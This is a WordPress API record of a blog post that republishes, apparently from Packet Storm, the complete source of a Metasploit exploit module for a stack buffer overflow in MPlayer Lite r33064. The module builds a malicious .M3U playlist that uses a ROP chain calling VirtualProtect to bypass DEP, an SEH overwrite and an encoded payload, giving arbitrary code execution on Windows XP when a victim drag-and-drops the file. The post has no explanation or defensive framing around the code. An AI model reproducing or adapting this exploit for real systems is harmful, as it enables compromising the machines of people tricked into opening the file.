{"id":59718,"date":"2024-09-13T20:59:46","date_gmt":"2024-09-13T17:59:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181501\/mplayer_m3u_bof.rb.txt"},"modified":"2024-09-13T20:59:46","modified_gmt":"2024-09-13T17:59:46","slug":"mplayer-lite-r33064-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/mplayer-lite-r33064-buffer-overflow\/","title":{"rendered":"MPlayer Lite r33064 Buffer Overflow"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = AverageRanking<\/p>\n<p>include Msf::Exploit::FILEFORMAT<br \/>include Msf::Exploit::Seh<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;MPlayer Lite M3U Buffer Overflow&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a stack-based buffer overflow vulnerability in<br \/>MPlayer Lite r33064, caused by improper bounds checking of an URL entry.<\/p>\n<p>By persuading the victim to open a specially-crafted .M3U file, specifically by<br \/>drag-and-dropping it to the player, a remote attacker can execute arbitrary<br \/>code on the system.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;C4SS!0 and h1ch4m&#8217;, # Vulnerability discovery and original exploit<br \/>&#8216;Gabor Seljan&#8217;, # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;BID&#8217;, &#8216;46926&#8217; ],<br \/>[ &#8216;EDB&#8217;, &#8216;17013&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.mplayer-ww.com\/eng\/&#8217; ]],<br \/>&#8216;DefaultOptions&#8217; =&gt;<br \/>{<br \/>&#8216;EXITFUNC&#8217; =&gt; &#8216;thread&#8217;<br \/>},<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Payload&#8217; =&gt;<br \/>{<br \/>&#8216;BadChars&#8217; =&gt; &#8220;\\x00\\x20\\x0d\\x0a\\x1a\\x2c\\x2e\\x26\\x2f\\x3a\\x3e\\x3f\\x5c&#8221;,<br \/>&#8216;Space&#8217; =&gt; 5040<br \/>},<br \/>&#8216;Targets&#8217; =&gt;<br \/>[<br \/>[ &#8216;Windows XP SP3 (DEP Bypass) \/ MPlayer Lite r33064&#8217;,<br \/>{<br \/>&#8216;Offset&#8217; =&gt; 21,<br \/>&#8216;Ret&#8217; =&gt; 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll]}<br \/>],<br \/>],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2011-03-19&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0))<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;FILENAME&#8217;, [ false, &#8216;The file name.&#8217;, &#8216;msf.m3u&#8217;])<br \/>],<br \/>self.class)<\/p>\n<p>end<\/p>\n<p>def junk<br \/>return rand_text_alpha(4).unpack(&#8220;V&#8221;).first<br \/>end<\/p>\n<p>def nops<br \/>return make_nops(4).unpack(&#8220;V&#8221;).first<br \/>end<\/p>\n<p>def exploit<\/p>\n<p># ROP chain generated by mona.py &#8211; See corelan.be<br \/>rop_gadgets =<br \/>[<br \/>0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll]0x10018fc3, # &amp;CALL ESP [unrar.dll]0x64984a70, # POP EAX # RETN [avformat-52.dll]0xffffec4f, # Value to negate, will become 0x00005040<br \/>0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]junk,<br \/>junk,<br \/>0x1001d154, # POP EAX # RETN [unrar.dll]0x77e71210, # &amp;VirtualProtect() [IAT RPCRT4.dll]0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll]0x6b02836d, # POP EAX # RETN [avcodec-52.dll]0xffffffc0, # Value to negate, will become 0x00000040<br \/>0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll]0x1001bad6, # POP ECX # RETN [unrar.dll]0x649eab48, # &amp;Writable location [avformat-52.dll]0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll]0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll]0x64984a70, # POP EAX # RETN [avformat-52.dll]nops,<br \/>0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll]].flatten.pack(&#8216;V*&#8217;)<\/p>\n<p>sploit = rand_text_alpha_upper(target[&#8216;Offset&#8217;])<br \/>sploit &lt;&lt; rop_gadgets<br \/>sploit &lt;&lt; payload.encoded<br \/>sploit &lt;&lt; generate_seh_record(target.ret)<br \/>sploit &lt;&lt; rand_text_alpha_upper(1000) # Generate exception<\/p>\n<p># Create the file<br \/>print_status(&#8220;Creating &#8216;#{datastore[&#8216;FILENAME&#8217;]}&#8217; file &#8230;&#8221;)<br \/>file_create(&#8220;http:\/\/&#8221; + sploit)<\/p>\n<p>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = AverageRanking include Msf::Exploit::FILEFORMATinclude Msf::Exploit::Seh def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;MPlayer Lite M3U Buffer Overflow&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a stack-based buffer overflow vulnerability inMPlayer Lite r33064, caused by improper bounds checking of an URL entry. By persuading the victim to open &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59718","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59718","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59718"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59718\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59718"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59718"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59718"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}